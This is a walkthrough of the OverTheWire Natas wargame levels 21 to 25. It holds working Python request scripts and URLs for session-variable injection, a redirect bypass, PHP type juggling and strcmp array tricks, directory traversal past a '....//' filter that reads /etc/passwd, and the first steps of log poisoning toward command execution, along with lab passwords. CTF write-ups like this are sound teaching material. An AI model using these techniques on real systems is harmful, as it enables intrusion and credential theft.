DEBUG: MYREAD 969hrbu40iem1f32c61essr8ev<br>DEBUG: Reading from /var/lib/php/sessions/mysess_969hrbu40iem1f32c61essr8ev<br>DEBUG: Read [name test
]<br>DEBUG: Read [admin 1]<br>DEBUG: Read []<br>DEBUG: Name set to test
admin 1<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH</pre>
<form action="index.php" method="POST">
Your name: <input name="name" value="test
admin 1"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
DEBUG: MYWRITE 969hrbu40iem1f32c61essr8ev name|s:13:"test
admin 1";admin|s:1:"1";<br>DEBUG: Saving in /var/lib/php/sessions/mysess_969hrbu40iem1f32c61essr8ev<br>DEBUG: admin => 1<br>DEBUG: name => test
admin 1<br>

Natas 21

Credentials

Username: natas21

Password: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

URL: http://natas21.natas.labs.overthewire.org

Message

The first page:

Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.

The second page:

Note: this website is colocated with http://natas21.natas.labs.overthewire.org

Example: Hello world!

Change example values here:

align: center fontsize: 100% bgcolor: yellow

Solution

We are given the source code for the first page:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head>
<body>
<h1>natas21</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>
</p>

<?php

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}


session_start();
print_credentials();

?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

and for the second one:

<html>
  <head>
    <link
      rel="stylesheet"
      type="text/css"
      href="http://natas.labs.overthewire.org/css/level.css"
    />
  </head>
  <body>
    <h1>natas21 - CSS style experimenter</h1>
    <div id="content">
      <p>
        <b
          >Note: this website is colocated with
          <a href="http://natas21.natas.labs.overthewire.org"
            >http://natas21.natas.labs.overthewire.org</a
          ></b
        >
      </p>
      <?php

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key =>
      $val) { $_SESSION[$key] = $val; } } if(array_key_exists("debug", $_GET)) {
      print "[DEBUG] Session contents:<br />"; print_r($_SESSION); } // only
      allow these keys $validkeys = array("align" => "center", "fontsize" =>
      "100%", "bgcolor" => "yellow"); $form = ""; $form .= '
      <form action="index.php" method="POST">
        '; foreach($validkeys as $key => $defval) { $val = $defval;
        if(array_key_exists($key, $_SESSION)) { $val = $_SESSION[$key]; } else {
        $_SESSION[$key] = $val; } $form .= "$key:
        <input name="$key" value="$val" /><br />"; } $form .= '<input
          type="submit"
          name="submit"
          value="Update"
        />'; $form .= '
      </form>
      '; $style = "background-color: ".$_SESSION["bgcolor"]."; text-align:
      ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; $example =
      "
      <div style="$style">Hello world!</div>
      "; ?>

      <p>Example:</p>
      <?=$example?>

      <p>Change example values here:</p>
      <?=$form?>

      <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
    </div>
  </body>
</html>

The idea is quite simple: we see from the second page that we can set session variables. We are interested to set admin = 1 and reuse it in the first page.

Thus we craft two requests, both with the same session ID; the first, directed to the second URL, sets admin = 1 in the session; the second retrieves the credentials.

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas21', 'BPhv63cKE1lkQl04cE5CuFTzXe15NfiH')

url1 = "http://natas21.natas.labs.overthewire.org/index.php"
url2 = "http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug=1"


def send_request(url) -> str:
    cookie = "PHPSESSID=" + "admin"

    headers = {'Content-Type': 'text/html; charset=UTF-8',
               'Cookie': cookie}
    response = requests.get(url, headers=headers,
                            auth=basic_auth,
                            verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request(url2 + "&submit=1&admin=1")
    print(text)
    text = send_request(url1)
    print(text)

This gives:

python natas21.py natas
<html>
<head><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"></head>
<body>
<h1>natas21 - CSS style experimenter</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org">http://natas21.natas.labs.overthewire.org</a></b>
</p>
[DEBUG] Session contents:<br>Array
(
    [debug] => 1
    [submit] => 1
    [admin] => 1
)

<p>Example:</p>
<div style='background-color: yellow; text-align: center; font-size: 100%;'>Hello world!</div>
<p>Change example values here:</p>
<form action="index.php" method="POST">align: <input name='align' value='center' /><br>fontsize: <input name='fontsize' value='100%' /><br>bgcolor: <input name='bgcolor' value='yellow' /><br><input type="submit" name="submit" value="Update" /></form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas21", "pass": "BPhv63cKE1lkQl04cE5CuFTzXe15NfiH" };</script></head>
<body>
<h1>natas21</h1>
<div id="content">
<p>
<b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b>
</p>

You are an admin. The credentials for the next level are:<br><pre>Username: natas22
Password: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Natas 22

Credentials

Username: natas22

Password: d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz

URL: http://natas22.natas.labs.overthewire.org

Message

There’s just a blank page with a link to the source code.

Solution

The source code:

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

<?php
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This seems simple…

Though, the script

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas22', 'd8rwGBl0Xslg3b76uh3fEbSlnOUBlozz')

url = "http://natas22.natas.labs.overthewire.org/index.php"


def send_request(url) -> str:
    print(f"Sending request to [{url}]...")
    headers = {'Content-Type': 'text/html; charset=UTF-8'}
    response = requests.get(url,
                            headers=headers,
                            auth=basic_auth,
                            verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request(url + "?revelio=1")
    print(text)

doesn’t work as expected:

python natas22.py
Sending request to [http://natas22.natas.labs.overthewire.org/index.php?revelio=1]...


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">


<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Trying with Burp. The request:

GET /?revelio=1 HTTP/1.1
Host: natas22.natas.labs.overthewire.org
User-Agent: [UNDISCLOSED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic bmF0YXMyMjpkOHJ3R0JsMFhzbGczYjc2dWgzZkViU2xuT1VCbG96eg==
Connection: keep-alive
Cookie: PHPSESSID=geosrhe1qijrg261strl2fgfat
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

passed to Repeater and sent, gives:

HTTP/1.1 302 Found
Date: Sun, 20 Oct 2024 14:52:57 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /
Content-Length: 1028
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8



<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">

You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Natas 23

Credentials

Username: natas23

Password: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs

URL: http://natas23.natas.labs.overthewire.org

Message

The page requires a password.

Solution

We are given the source code:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This seems to verify that iloveyou is contained in the password; moreover, the password should be in some sense greater than 10: $_REQUEST["passwd"] > 10. We can guess that some sort of casting is happening…

Let’s try something like 1234iloveyou:

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas23', 'dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs')

url = "http://natas23.natas.labs.overthewire.org/index.php"


def send_request(url) -> str:
    print(f"Sending request to [{url}]...")
    headers = {'Content-Type': 'text/html; charset=UTF-8'}
    response = requests.get(url,
                            headers=headers,
                            auth=basic_auth,
                            verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request(url + "?passwd=1234iloveyou")
    print(text)

Easy job:

python natas23.py
Sending request to [http://natas23.natas.labs.overthewire.org/index.php?passwd=1234iloveyou]...
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<br>The credentials for the next level are:<br><pre>Username: natas24 Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Natas 24

Credentials

Username: natas24

Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd

URL: http://natas24.natas.labs.overthewire.org

Message

The page requests a password.

Solution

We are given the source:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Ok, first thought: we must brute-force. This is going to take like forever…

Hold on, think more. Read more about the function strcmp.

Interestingly, we find in the documentation for strcmp:

If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable. For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

Interestingly:

strcmp("foo", array()) => NULL + PHP Warning

The script:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas24', 'MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd')

url = "http://natas24.natas.labs.overthewire.org/index.php"


def send_request(url) -> str:
    print(f"Sending request to [{url}]...")
    headers = {'Content-Type': 'text/html; charset=UTF-8'}
    response = requests.get(url,
                            headers=headers,
                            auth=basic_auth,
                            verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request(url + f"?passwd[]=asd")
    print(text)

gives us:

$ python natas24.py
Sending request to [http://natas24.natas.labs.overthewire.org/index.php?passwd[]=asd]...
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<br />
<b>Warning</b>:  strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br />
<br>The credentials for the next level are:<br><pre>Username: natas25 Password: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Natas 25

Credentials

Username: natas25

Password: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws

URL: http://natas25.natas.labs.overthewire.org

Message

There is a quote:

Quote

You see, no one’s going to help you Bubby, because there isn’t anybody out there to do it. No one. We’re all just complicated arrangements of atoms and subatomic particles - we don’t live. But our atoms do move about in such a way as to give us identity and consciousness. We don’t die; our atoms just rearrange themselves. There is no God. There can be no God; it’s ridiculous to think in terms of a superior being. An inferior being, maybe, because we, we who don’t even exist, we arrange our lives with more order and harmony than God ever arranged the earth. We measure; we plot; we create wonderful new things. We are the architects of our own existence. What a lunatic concept to bow down before a God who slaughters millions of innocent children, slowly and agonizingly starves them to death, beats them, tortures them, rejects them. What folly to even think that we should not insult such a God, damn him, think him out of existence. It is our duty to think God out of existence. It is our duty to insult him. Fuck you, God! Strike me down if you dare, you tyrant, you non-existent fraud! It is the duty of all human beings to think God out of existence. Then we have a future. Because then - and only then - do we take full responsibility for who we are. And that’s what you must do, Bubby: think God out of existence; take responsibility for who you are. Scientist, Bad Boy Bubby

One can choose the language between English and German.

Zitat

Weißt du, niemand wird dir helfen Bubby. Denn es gibt Niemand, der dazu vorgesehen ist. Niemand. Wir sind alle nur komplizierte Anordnungen von Atomen und subatomaren Teilchen. Wir leben nicht. Unsere atome bewegen sich in einer Art und Weise, die uns Identität und Bewustesein verleiht. Wir sterben auch nicht. Unsere Atome strukturieren sich nur um. Es gibt keinen Gott, es kann keinen Gott geben. Es ist lächerlich, in Kategorien eines höheren Wesens zu denken. Eines niedrigeren Wesens, das könnte es vielleicht geben. Weil wir, die wir nicht mal existieren, unser Leben mit mehr Ordnung und Harmonie gestalten, als Gott jemals die Erde gestaltet hat. Wir essen, wir planen, wir erschaffen wunderbare Musik. Wir sind die Architekten unserer eigenen Existenz. Was für eine idiotische Vorstellung, sich vor einem Gott zu verneigen, der Millionen unschuldiger Kinder abschlachten lässt. Der für ihren langsamen und qualvollen Hungertod verantwortlich ist. Der zusieht, wie sie geschlagen und gefoltert werden. Der sie abweist. Welche Dummheit, auch nur zu denken, dass wir einen solchen Gott nicht beleidigen dürfen. Verdammt nochmal! Leugnen wir doch einfach seine Existenz. Es ist unsere Pflicht, die Existenz Gottes zu leugnen. Es ist unsere Pflicht, ihn zu beleidigen. Leck mich am Arsch, Gott! Schlag mich nieder, wenn du dich traust, du Tyrann! Du nicht existierender Betrug. Es ist die Pflicht aller menschlichen Wesen, die Existenz Gottes zu verneinen. Dann haben wir eine Zukunft. Denn dann, und nur dann, übernehmen wir die volle Verantwortung für das, was wir sind. Und genau das musst du tun, Bubby. Denk Gottes Existenz einfach weg. Übernimm die Verantwortung für das, was du bist. Wissenschaftler, Bad Boy Bubby

There is a link to the source code.

Solution

The source code linked is:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>
<body>
<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en");
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    }

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php
    session_start();
    setLanguage();

    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

The PHP part:

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en");
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    }

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

The main page is http://natas25.natas.labs.overthewire.org/. Notice that setting the language as de redirects us to http://natas25.natas.labs.overthewire.org/?lang=de. Try the basic tampering method (that should fail according to the PHP code above): go to http://natas25.natas.labs.overthewire.org/?lang=../. This produces the error:

Warning: include(/var/www/natas/natas25/language): failed to open stream: No such file or directory in /var/www/natas/natas25/index.php on line 38

Warning: include(): Failed opening ‘language/’ for inclusion (include_path=’.:/usr/share/php’) in /var/www/natas/natas25/index.php on line 38

Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80

Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81

Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82

We can try to bypass the "../" replacement with "" requesting http://natas25.natas.labs.overthewire.org/?lang=....//.

Warning: include(/var/www/natas/natas25): failed to open stream: No such file or directory in /var/www/natas/natas25/index.php on line 38

Warning: include(): Failed opening ‘language/../’ for inclusion (include_path=’.:/usr/share/php’) in /var/www/natas/natas25/index.php on line 38

Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80

Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81

Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82

Moreover, if we request http://natas25.natas.labs.overthewire.org/?lang=....//....//....//:

Warning: include(/var/www): failed to open stream: No such file or directory in /var/www/natas/natas25/index.php on line 38

Warning: include(): Failed opening ‘language/../../../’ for inclusion (include_path=’.:/usr/share/php’) in /var/www/natas/natas25/index.php on line 38

Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80

Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81

Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82

Let’s try if this technique actually works with a file: http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//etc/passwd correctly returns the /etc/passwd file!

Try with ....//....//....//....//..../etc/natas_webpass/natas26: the request to http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//..../etc/natas_webpass/natas26 does not give any output. This was expected…

Looking better at the PHP code:

function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }

Here there is a fopen function call… We need to know our session ID. Looging at the cookies, we can easily get it: there is a cookie called PHPSESSID, which, for example has the value: 04mg3fhcld4h0i63i2b500cjgo.

Request http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas25_04mg3fhcld4h0i63i2b500cjgo.log and get:

[25.10.2024 04::56:32] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::00:19] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::00:19] [UNDISCLOSED] “Illegal file access detected! Aborting!” [25.10.2024 05::05:19] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::05:19] [UNDISCLOSED] “Illegal file access detected! Aborting!” [25.10.2024 05::05:33] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::05:33] [UNDISCLOSED] “Illegal file access detected! Aborting!” [25.10.2024 05::06:02] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::07:37] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::09:40] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::11:26] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::11:26] [UNDISCLOSED] “Illegal file access detected! Aborting!” [25.10.2024 05::16:34] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::17:46] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::17:52] [UNDISCLOSED] “Directory traversal attempt! fixing request.” [25.10.2024 05::18:06] [UNDISCLOSED] “Directory traversal attempt! fixing request.”

That is interesting.

Moreover, the function logRequest writes in the log file the value of $_SERVER['HTTP_USER_AGENT']. Can we tamper it?

Using Burp, the base request is:

GET /?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas25_04mg3fhcld4h0i63i2b500cjgo.log HTTP/1.1
Host: natas25.natas.labs.overthewire.org
User-Agent: [UNDISCLOSED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==
Connection: keep-alive
Cookie: PHPSESSID=04mg3fhcld4h0i63i2b500cjgo
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

We can execute system commands in PHP using exec, as here explained:

<?php
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

